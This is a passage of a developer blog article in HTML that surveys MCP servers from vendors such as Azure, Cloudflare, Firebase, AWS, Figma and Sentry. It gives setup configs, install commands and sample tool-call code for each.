&lt;p&gt;The &lt;a href=&quot;https://github.com/microsoft/mcp/tree/main/servers/Azure.Mcp.Server&quot;&gt;Azure MCP server&lt;/a&gt; gives AI models natural language control over Microsoft Azure services, including Azure Storage, Cosmos DB, Log Analytics, App Configuration, and direct Azure CLI and Azure Developer CLI command execution. The Azure MCP Server consolidates more than 40 Azure services into a single server.&lt;/p&gt;
&lt;p&gt;Installation uses npx, and the server defaults to stdio. Most clients use an &lt;code&gt;mcpServers&lt;/code&gt; root object, but Visual Studio and VS Code use &lt;code&gt;servers&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;Azure MCP Server&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@azure/mcp@latest&quot;, &quot;server&quot;, &quot;start&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;For remote hosting (for example, with Microsoft Foundry or Copilot Studio), the server can be self-hosted on Azure Container Apps and exposed over Streamable HTTP with Microsoft Entra authentication.&lt;/p&gt;
&lt;h3 id=&quot;use-cases&quot;&gt;Use cases&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.logrocket.com/from-front-end-developer-to-a-devops-an-intro-to-ci-cd-7a8a8713fb34/&quot;&gt;DevOps&lt;/a&gt; teams use it for infrastructure management and deployment through the Azure CLI, and operations teams for monitoring queries against Log Analytics.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const resourceAnalysis = async (client) =&amp;gt; {
 const storageAccounts = await client.callTool({
   name: &#39;list_storage_accounts&#39;,
   arguments: {}
 });

 const logQuery = await client.callTool({
   name: &#39;query_log_analytics&#39;,
   arguments: {
     workspace: &#39;my-workspace&#39;,
     query: &#39;AppMetrics | where TimeGenerated &amp;gt; ago(1h) | summarize avg(Value) by bin(TimeGenerated, 5m)&#39;
   }
 });

 return { storage: storageAccounts, metrics: logQuery };
};&lt;/pre&gt;
&lt;h2 id=&quot;context7-mcp-server-live-library-documentation&quot;&gt;&lt;strong data-start=&quot;1076&quot; data-end=&quot;1112&quot;&gt;Why should you use Context7 MCP?&lt;/strong&gt;&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://upstash.gallerycdn.vsassets.io/extensions/upstash/context7-mcp/1.1.0/1781270197176/Microsoft.VisualStudio.Services.Icons.Default&quot; alt=&quot;Context7 Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/upstash/context7&quot;&gt;Context7 MCP&lt;/a&gt; server solves a narrow but constant problem: coding agents hallucinate library APIs because their training data lags behind current releases. Context7 fetches version-specific documentation for a library on demand and injects it into the model’s context, so the agent writes code against current Next.js or Prisma signatures rather than outdated ones.&lt;/p&gt;
&lt;p&gt;It is a community server maintained by Upstash, and it runs either locally over stdio or as a hosted remote endpoint. The local setup is a single line:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;context7&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;The hosted remote endpoint uses Streamable HTTP. An API key is optional (the free tier works without one) but raises your rate limits, and it is passed as a header:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;context7&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.context7.com/mcp&quot;,
      &quot;headers&quot;: {
        &quot;CONTEXT7_API_KEY&quot;: &quot;YOUR_API_KEY&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;In use, you invoke it by naming it in a prompt, and the server exposes only two tools, &lt;code&gt;resolve-library-id&lt;/code&gt; and &lt;code&gt;query-docs&lt;/code&gt;, which keep its context footprint small compared to servers that inject dozens of tool definitions.&lt;/p&gt;
&lt;h3 id=&quot;sample-applications&quot;&gt;Sample applications&lt;/h3&gt;
&lt;p&gt;The clearest win is on fast-moving frameworks. Asking an agent to configure middleware in the current Next.js without Context7 often yields an answer built on an older API. The limitation is index coverage as very new or private libraries may not be indexed yet, in which case a direct documentation fetch is the fallback.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const libraryId = await client.callTool({
 name: &#39;resolve-library-id&#39;,
 arguments: { query: &#39;app router middleware&#39;, libraryName: &#39;next.js&#39; }
});

const docs = await client.callTool({
 name: &#39;query-docs&#39;,
 arguments: {
   libraryId: libraryId,
   query: &#39;how do I set up app router middleware&#39;
 }
});&lt;/pre&gt;
&lt;h2 id=&quot;cloudflare-mcp-server-edge-computing-and-cdn-management&quot;&gt;What can the Cloudflare MCP server do?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Cloudflare-Logo.png&quot; alt=&quot;Cloudflare Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/cloudflare/mcp-server-cloudflare&quot;&gt;Cloudflare MCP server&lt;/a&gt; gives natural language control over Cloudflare’s network, spanning Workers, observability, Radar, DNS analytics, and more. Two aspects of its design are worth understanding before you set it up.&lt;/p&gt;
&lt;p&gt;First, Cloudflare’s remote servers use Streamable HTTP at a &lt;code&gt;/mcp&lt;/code&gt; endpoint, and second, Cloudflare runs a Code Mode server at &lt;code&gt;&lt;a href=&quot;https://mcp.cloudflare.com/&quot;&gt;https://mcp.cloudflare.com&lt;/a&gt;&lt;/code&gt; that exposes the entire Cloudflare API, over 2,500 endpoints, through just two tools, &lt;code&gt;search()&lt;/code&gt; and &lt;code&gt;execute()&lt;/code&gt;. Rather than loading thousands of tool definitions into context, the model writes JavaScript against a typed representation of the API, which keeps token usage roughly flat regardless of how much of the API you touch.&lt;/p&gt;
&lt;p&gt;For the broad Code Mode server, connect via OAuth:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;cloudflare&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.cloudflare.com/mcp&quot;
    }
  }
}&lt;/pre&gt;
&lt;p&gt;The product-specific servers are still available for curated, typed tools in a single domain. For clients without native remote support, wrap them with &lt;code&gt;mcp-remote&lt;/code&gt;, now pointing at &lt;code&gt;/mcp&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;cloudflare-observability&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;mcp-remote&quot;, &quot;https://observability.mcp.cloudflare.com/mcp&quot;]
    },
    &quot;cloudflare-bindings&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;mcp-remote&quot;, &quot;https://bindings.mcp.cloudflare.com/mcp&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;When you connect, Cloudflare redirects you through an OAuth flow to authorize and scope permissions. For CI or automation, you can pass a scoped Cloudflare API token as a bearer token instead.&lt;/p&gt;
&lt;h3 id=&quot;sample-applications&quot;&gt;Sample applications&lt;/h3&gt;
&lt;p&gt;Performance teams tune caching from Radar insights, security teams triage threats from observability data, and platform teams manage bindings and Workers. With the Code Mode server, “create a KV namespace called session-cache and bind it to my auth-worker” becomes a &lt;code&gt;search()&lt;/code&gt; for the relevant endpoints followed by an &lt;code&gt;execute()&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;firebase-mcp-server-backend-as-a-service-integration&quot;&gt;&lt;strong data-start=&quot;496&quot; data-end=&quot;539&quot;&gt;How do you use the Firebase MCP server?&lt;/strong&gt;&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Firebase-Logo.png&quot; alt=&quot;Firebase Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://firebase.google.com/docs/ai-assistance/mcp-server&quot;&gt;Firebase MCP server&lt;/a&gt; integrates with Google’s Firebase platform, letting AI models manage Firestore, Authentication, Cloud Functions, and hosting through natural language, along with project initialization and &lt;a href=&quot;https://blog.logrocket.com/product-management/sdk/&quot;&gt;SDK configuration&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It ships as a command inside the Firebase CLI and runs over stdio.&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;firebase&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;firebase-tools@latest&quot;, &quot;mcp&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;You can scope it to a project directory and filter which feature groups are active, which is a good habit for keeping the tool surface tight:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;firebase&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;, &quot;firebase-tools@latest&quot;, &quot;mcp&quot;,
        &quot;--dir&quot;, &quot;/path/to/project&quot;,
        &quot;--only&quot;, &quot;auth,firestore,storage&quot;
      ]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Authentication comes from the Firebase CLI, so run &lt;code&gt;firebase login&lt;/code&gt; first if you are not already signed in.&lt;/p&gt;
&lt;h3 id=&quot;sample-use-cases&quot;&gt;Sample use cases&lt;/h3&gt;
&lt;p&gt;Teams use it to inspect Firestore data, drive Cloud Messaging campaigns from engagement data, and manage users through Firebase Auth.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const firebaseWorkflow = async (client) =&amp;gt; {
 const project = await client.callTool({
   name: &#39;firebase_get_project&#39;,
   arguments: {}
 });

 const userData = await client.callTool({
   name: &#39;firestore_query_collection&#39;,
   arguments: {
     collection: &#39;users&#39;,
     filter: &#39;lastActive &amp;gt; 2026-01-01&#39;
   }
 });

 return { project, userData };
};&lt;/pre&gt;
&lt;h2 id=&quot;google-cloud-run-mcp-server-serverless-deployment-automation&quot;&gt;How do you deploy applications with the Google Cloud Run MCP server?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Google-Cloud-Run-MCP-Server.jpeg&quot; alt=&quot;Google Cloud Run MCP Server&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/GoogleCloudPlatform/cloud-run-mcp&quot;&gt;Google Cloud Run MCP server&lt;/a&gt; automates deployment and management of containerized applications on Cloud Run, covering direct file and folder deployment, service management, and Google Cloud project operations.&lt;/p&gt;
&lt;p&gt;For local development, it runs over stdio and authenticates through the Google Cloud SDK. The server is published on npm as &lt;code&gt;@google-cloud/cloud-run-mcp&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-hljs&quot;&gt;# Prerequisites: Node.js, Google Cloud SDK
gcloud auth login
gcloud auth application-default login

{
  &quot;mcpServers&quot;: {
    &quot;cloud-run&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@google-cloud/cloud-run-mcp&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;You can also deploy the MCP server itself onto Cloud Run for remote scenarios. Cloud Run hosts MCP servers over Streamable HTTP (it does not host stdio servers), and the server supports OAuth. A minimal OAuth-mode client config points at the &lt;code&gt;/mcp&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;gcloud run deploy cloud-run-mcp \
  --image us-docker.pkg.dev/cloudrun/container/mcp \
  --no-allow-unauthenticated

gcloud run services proxy cloud-run-mcp --port=3000 --region=REGION

{
  &quot;mcpServers&quot;: {
    &quot;cloud-run&quot;: {
      &quot;httpUrl&quot;: &quot;http://localhost:3000/mcp&quot;,
      &quot;oauth&quot;: { &quot;enabled&quot;: true }
    }
  }
}&lt;/pre&gt;
&lt;h3 id=&quot;application-scenarios&quot;&gt;Application scenarios&lt;/h3&gt;
&lt;p&gt;Teams deploy services with model-chosen configurations directly from their IDE or &lt;a href=&quot;https://blog.logrocket.com/building-ai-agent-frontend-project/&quot;&gt;AI assistant applications&lt;/a&gt;, and manage project configuration across environments.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const deploymentWorkflow = async (client, projectId, region) =&amp;gt; {
 const deployment = await client.callTool({
   name: &#39;deploy-local-folder&#39;,
   arguments: {
     folder_path: &#39;./my-app&#39;,
     service_name: &#39;my-new-service&#39;,
     project: projectId,
     region: region
   }
 });

 return { newDeployment: deployment };
};&lt;/pre&gt;
&lt;h2 id=&quot;jetbrains-mcp-server-ide-integration-and-code-intelligence&quot;&gt;How does the JetBrains MCP server work?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/JetBrains.png&quot; alt=&quot;JetBrains Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://plugins.jetbrains.com/plugin/26071-mcp-server&quot;&gt;JetBrains MCP server&lt;/a&gt; connects AI models to JetBrains IDEs, including IntelliJ IDEA, PyCharm, WebStorm, and Android Studio, enabling code intelligence, refactoring suggestions, and project analysis from inside the IDE. It works through a proxy that bridges MCP clients to the IDE’s built-in server, and it runs over stdio.&lt;/p&gt;
&lt;p&gt;Install the JetBrains MCP plugin from the Marketplace (plugin ID &lt;code&gt;26071-mcp-server&lt;/code&gt;), then configure the proxy:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;jetbrains&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@jetbrains/mcp-proxy&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;To target a specific IDE instance, set the port:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;jetbrains&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@jetbrains/mcp-proxy&quot;],
      &quot;env&quot;: {
        &quot;IDE_PORT&quot;: &quot;63342&quot;,
        &quot;HOST&quot;: &quot;127.0.0.1&quot;,
        &quot;LOG_ENABLED&quot;: &quot;true&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Because the connection is local to the running IDE, there is no separate authentication step.&lt;/p&gt;
&lt;h3 id=&quot;development-use-cases&quot;&gt;Development use cases&lt;/h3&gt;
&lt;p&gt;Teams pull IDE inspection results for review feedback, get refactoring suggestions grounded in the IDE’s own analysis, and generate docs from code context.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const ideWorkflow = async (client) =&amp;gt; {
 const projectInfo = await client.callTool({
   name: &#39;get_project_structure&#39;,
   arguments: {}
 });

 const codeAnalysis = await client.callTool({
   name: &#39;run_code_inspections&#39;,
   arguments: { scope: &#39;project&#39;, include_warnings: true }
 });

 return { project: projectInfo, analysis: codeAnalysis };
};&lt;/pre&gt;
&lt;h2 id=&quot;docker-mcp-server-container-management-through-the-catalog-and-toolkit&quot;&gt;How does the Docker MCP Toolkit work?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Docker-MCP-Server.png&quot; alt=&quot;Docker MCP Server&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Docker provides an official &lt;a href=&quot;https://docs.docker.com/ai/mcp-catalog-and-toolkit/&quot;&gt;MCP Catalog and Toolkit&lt;/a&gt; that is the recommended way to run and manage MCP servers, including containerized database, monitoring, and API servers.&lt;/p&gt;
&lt;p&gt;The Catalog is a curated registry of containerized MCP servers on Docker Hub, each running in an isolated container. The Toolkit, built into Docker Desktop, lets you browse the catalog, add credentials, and connect a server to clients like Claude Desktop, Cursor, and VS Code with a click, no manual config files. Every catalog entry is labeled by trust level, either Docker-built with signed and verified images or community-built and containerized by the publisher.&lt;/p&gt;
&lt;p&gt;Setup happens through Docker Desktop rather than a hand-written config. Enable the MCP Toolkit, pick servers from the catalog, and connect your client. The value here is security and isolation. Instead of running an assortment of &lt;code&gt;npx&lt;/code&gt; and &lt;code&gt;uvx&lt;/code&gt; processes with direct access to your machine, each server runs in a sandboxed container, and the Gateway gives you one place to audit and govern them.&lt;/p&gt;
&lt;h3 id=&quot;operational-use-cases&quot;&gt;Operational use cases&lt;/h3&gt;
&lt;p&gt;Teams configure &lt;a href=&quot;https://blog.logrocket.com/docker-for-front-end-developers/&quot;&gt;containerized environments&lt;/a&gt; through natural language, inspect container performance, and spin up isolated environments. Because the Toolkit standardizes how servers are packaged and connected, the benefit is less about any single tool call and more about running a fleet of servers safely from one control point.&lt;/p&gt;
&lt;h2 id=&quot;figma-mcp-server-design-to-code-automation&quot;&gt;&lt;strong data-start=&quot;901&quot; data-end=&quot;970&quot;&gt;How do you use the Figma MCP server for design-to-code workflows?&lt;/strong&gt;&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Figma-e1753040768338.png&quot; alt=&quot;Figma Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/&quot;&gt;Figma MCP server&lt;/a&gt; gives AI models access to Figma design files for design analysis and code generation. Figma runs an official remote server, which is the recommended setup, alongside a local desktop server for specific enterprise cases.&lt;/p&gt;
&lt;p&gt;The remote server connects over Streamable HTTP at &lt;code&gt;&lt;a href=&quot;https://mcp.figma.com/mcp&quot;&gt;https://mcp.figma.com/mcp&lt;/a&gt;&lt;/code&gt;, works without the desktop app, and is available on all seats and plans:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;figma&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.figma.com/mcp&quot;
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Authentication is handled through your client’s OAuth flow. A desktop server also exists for specific organization and enterprise cases, running locally at &lt;code&gt;&lt;a href=&quot;http://127.0.0.1:3845/mcp&quot;&gt;http://127.0.0.1:3845/mcp&lt;/a&gt;&lt;/code&gt;, but Figma recommends the remote server for the broadest feature set.&lt;/p&gt;
&lt;p&gt;Once connected, you provide context by copying a link to a frame or layer and referencing it in a prompt. The server extracts the node ID from the URL and pulls the relevant design data. Beyond reading designs, it can write back to the canvas, generate Figma content from live UI, and create FigJam diagrams.&lt;/p&gt;
&lt;h3 id=&quot;design-workflow-applications&quot;&gt;Design workflow applications&lt;/h3&gt;
&lt;p&gt;Frontend teams generate framework components from designs using tools like &lt;code&gt;get_code&lt;/code&gt; and &lt;code&gt;get_variable_defs&lt;/code&gt;, and design systems teams extract variables to compare implementations against established design tokens.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const designToCode = async (figmaClient) =&amp;gt; {
 const codeStructure = await figmaClient.callTool({
   name: &#39;get_code&#39;,
   arguments: { selection: &#39;current_figma_selection&#39; }
 });

 const designTokens = await figmaClient.callTool({
   name: &#39;get_variable_defs&#39;,
   arguments: { frame_id: &#39;frame_id_from_url&#39; }
 });

 return { reactCode: codeStructure, designTokens };
};&lt;/pre&gt;
&lt;h2 id=&quot;aws-mcp-server-cloud-infrastructure-management&quot;&gt;How do you use the AWS MCP server?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://unqork.com/wp-content/uploads/2021/05/Amazon_Web_Services-Logo.wine_.png&quot; alt=&quot;AWS Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;AWS offers two paths. The fully managed remote server at &lt;code&gt;&lt;a href=&quot;https://aws-mcp.us-east-1.api.aws/mcp&quot;&gt;https://aws-mcp.us-east-1.api.aws/mcp&lt;/a&gt;&lt;/code&gt; covers AWS documentation and 15,000+ AWS APIs, and is the recommended default for broad access. Because MCP clients speak OAuth while the AWS endpoint expects SigV4-signed requests, you connect through a small stdio proxy, &lt;code&gt;mcp-proxy-for-aws&lt;/code&gt;, that signs requests using your local AWS credentials.&lt;/p&gt;
&lt;p&gt;For a deliberately small blast radius, AWS Labs publishes a catalog of specialized open-source servers, each scoped to one service or workflow: AWS Documentation, Bedrock Knowledge Bases, CDK for infrastructure as code, Cost Analysis, Lambda execution, and more. The full inventory lives at the &lt;a href=&quot;https://github.com/awslabs/mcp&quot;&gt;AWS Labs MCP catalog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The managed server connects through the proxy, launched via uvx:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;aws-mcp&quot;: {
      &quot;command&quot;: &quot;uvx&quot;,
      &quot;transport&quot;: &quot;stdio&quot;,
      &quot;args&quot;: [
        &quot;mcp-proxy-for-aws@latest&quot;,
        &quot;https://aws-mcp.us-east-1.api.aws/mcp&quot;
      ]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;The specialized AWS Labs servers install through UVX and run over STDIO, with most also offering a Streamable HTTP variant suitable for hosting on Lambda or fronting with the Bedrock AgentCore Gateway:&lt;/p&gt;
&lt;pre class=&quot;language-hljs&quot;&gt;# Prerequisites: install uv, configure AWS credentials
uv python install 3.10

{
  &quot;mcpServers&quot;: {
    &quot;awslabs.core-mcp-server&quot;: {
      &quot;command&quot;: &quot;uvx&quot;,
      &quot;args&quot;: [&quot;awslabs.core-mcp-server@latest&quot;],
      &quot;env&quot;: { &quot;FASTMCP_LOG_LEVEL&quot;: &quot;ERROR&quot; }
    },
    &quot;awslabs.aws-documentation-mcp-server&quot;: {
      &quot;command&quot;: &quot;uvx&quot;,
      &quot;args&quot;: [&quot;awslabs.aws-documentation-mcp-server@latest&quot;],
      &quot;env&quot;: { &quot;FASTMCP_LOG_LEVEL&quot;: &quot;ERROR&quot; }
    },
    &quot;awslabs.cost-analysis-mcp-server&quot;: {
      &quot;command&quot;: &quot;uvx&quot;,
      &quot;args&quot;: [&quot;awslabs.cost-analysis-mcp-server@latest&quot;],
      &quot;env&quot;: {
        &quot;AWS_PROFILE&quot;: &quot;your-aws-profile&quot;,
        &quot;FASTMCP_LOG_LEVEL&quot;: &quot;ERROR&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;For remote deployments, the AgentCore Gateway is worth knowing about. It fans multiple MCP servers, REST APIs, or Lambda functions out to agents over a single Streamable HTTP endpoint with OAuth 2.1 on the front and IAM-scoped access on the back, and it adds a semantic tool search so agents can find the right tool without loading every definition.&lt;/p&gt;
&lt;h3 id=&quot;cloud-management-applications&quot;&gt;Cloud management applications&lt;/h3&gt;
&lt;p&gt;Teams analyze spend through the Cost Analysis server and generate CDK or Terraform configurations that follow AWS best practices.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const awsWorkflow = async (docClient, costClient) =&amp;gt; {
 const docResults = await docClient.callTool({
   name: &#39;search_documentation&#39;,
   arguments: { query: &#39;Lambda best practices security&#39;, max_results: 10 }
 });

 const costAnalysis = await costClient.callTool({
   name: &#39;analyze_costs&#39;,
   arguments: { time_period: &#39;last_30_days&#39;, service: &#39;lambda&#39;, include_recommendations: true }
 });

 return { documentation: docResults, costs: costAnalysis };
};&lt;/pre&gt;
&lt;h2 id=&quot;netlify-mcp-server-deployment-and-management&quot;&gt;How do you deploy projects with the Netlify MCP server?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/netlify-logo.png&quot; alt=&quot;netlify logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/netlify/netlify-mcp&quot;&gt;Netlify MCP server&lt;/a&gt; handles project creation and deployment from your editor, wraps &lt;a href=&quot;https://blog.logrocket.com/netlify-vs-cloudflare-pages/&quot;&gt;Netlify&lt;/a&gt; CLI functionality, and manages the full project lifecycle through the Netlify API and CLI. It runs over stdio.&lt;/p&gt;
&lt;pre class=&quot;language-hljs&quot;&gt;# Prerequisites: current Node.js LTS, Netlify account, Netlify CLI
npm install -g netlify-cli

{
  &quot;mcpServers&quot;: {
    &quot;netlify-mcp&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@netlify/mcp&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;If you hit authentication issues, you can pass a personal access token through the environment:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;netlify-mcp&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@netlify/mcp&quot;],
      &quot;env&quot;: {
        &quot;NETLIFY_PERSONAL_ACCESS_TOKEN&quot;: &quot;your_pat_value&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Run &lt;code&gt;netlify login&lt;/code&gt; first if you are not already authenticated through the CLI. Node 22 or later is recommended.&lt;/p&gt;
&lt;h3 id=&quot;deployment-use-cases&quot;&gt;Deployment use cases&lt;/h3&gt;
&lt;p&gt;Teams deploy directly from the editor, manage build configuration, and automate extension management.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const netlifyWorkflow = async (client, projectPath) =&amp;gt; {
 const project = await client.callTool({
   name: &#39;create_project&#39;,
   arguments: {
     name: &#39;my-jamstack-site&#39;,
     build_command: &#39;npm run build&#39;,
     publish_directory: &#39;dist&#39;
   }
 });

 const deployment = await client.callTool({
   name: &#39;deploy_site&#39;,
   arguments: { project_path: projectPath, production: true }
 });

 return { project, deployment };
};&lt;/pre&gt;
&lt;h2 id=&quot;prisma-mcp-server-database-schema-and-orm-management&quot;&gt;What can the Prisma MCP server do?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Prisma-Logo.png&quot; alt=&quot;Prisma Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.prisma.io/blog/announcing-prisma-s-mcp-server-vibe-code-with-prisma-postgres&quot;&gt;Prisma MCP server&lt;/a&gt; covers Prisma Postgres database management, schema migrations, database provisioning by region, and Prisma Console authentication. It runs over stdio through the Prisma CLI.&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;Prisma&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;prisma&quot;, &quot;mcp&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;For Claude Code, add it from the terminal:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;claude mcp add prisma npx prisma mcp&lt;/pre&gt;
&lt;p&gt;The same config works across clients that read a standard MCP JSON file, including Cursor at &lt;code&gt;~/.cursor/mcp.json&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;database-development-applications&quot;&gt;Database development applications&lt;/h3&gt;
&lt;p&gt;Teams create tables and manage migrations while preserving data integrity, provision Prisma Postgres instances by region, and handle Console authentication for visual management.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const prismaWorkflow = async (client) =&amp;gt; {
 const database = await client.callTool({
   name: &#39;create_database&#39;,
   arguments: { region: &#39;us-east-1&#39;, name: &#39;production-db&#39; }
 });

 const table = await client.callTool({
   name: &#39;create_table&#39;,
   arguments: { database_id: database.id, table_name: &#39;Product&#39; }
 });

 return { database, table };
};&lt;/pre&gt;
&lt;h2 id=&quot;sentry-mcp-server-error-monitoring-and-debugging&quot;&gt;How does the Sentry MCP server help with debugging?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQf6_zPAAHGd0zAof78M_mt0p5m1bGC3OKKB20_KepR-e6HURjCwpaQbyBs&amp;amp;s=10&quot; alt=&quot;Sentry Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/getsentry/sentry-mcp&quot;&gt;Sentry MCP server&lt;/a&gt; fills the gap in connecting your AI directly to your error monitoring pipeline. Instead of copying a stack trace out of the Sentry dashboard and pasting it into a chat, the model pulls the full issue, breadcrumbs, environment context, and related events, and works from the actual data.&lt;/p&gt;
&lt;p&gt;Sentry runs a production remote server over Streamable HTTP with OAuth 2.1:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;sentry&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.sentry.dev/mcp&quot;
    }
  }
}&lt;/pre&gt;
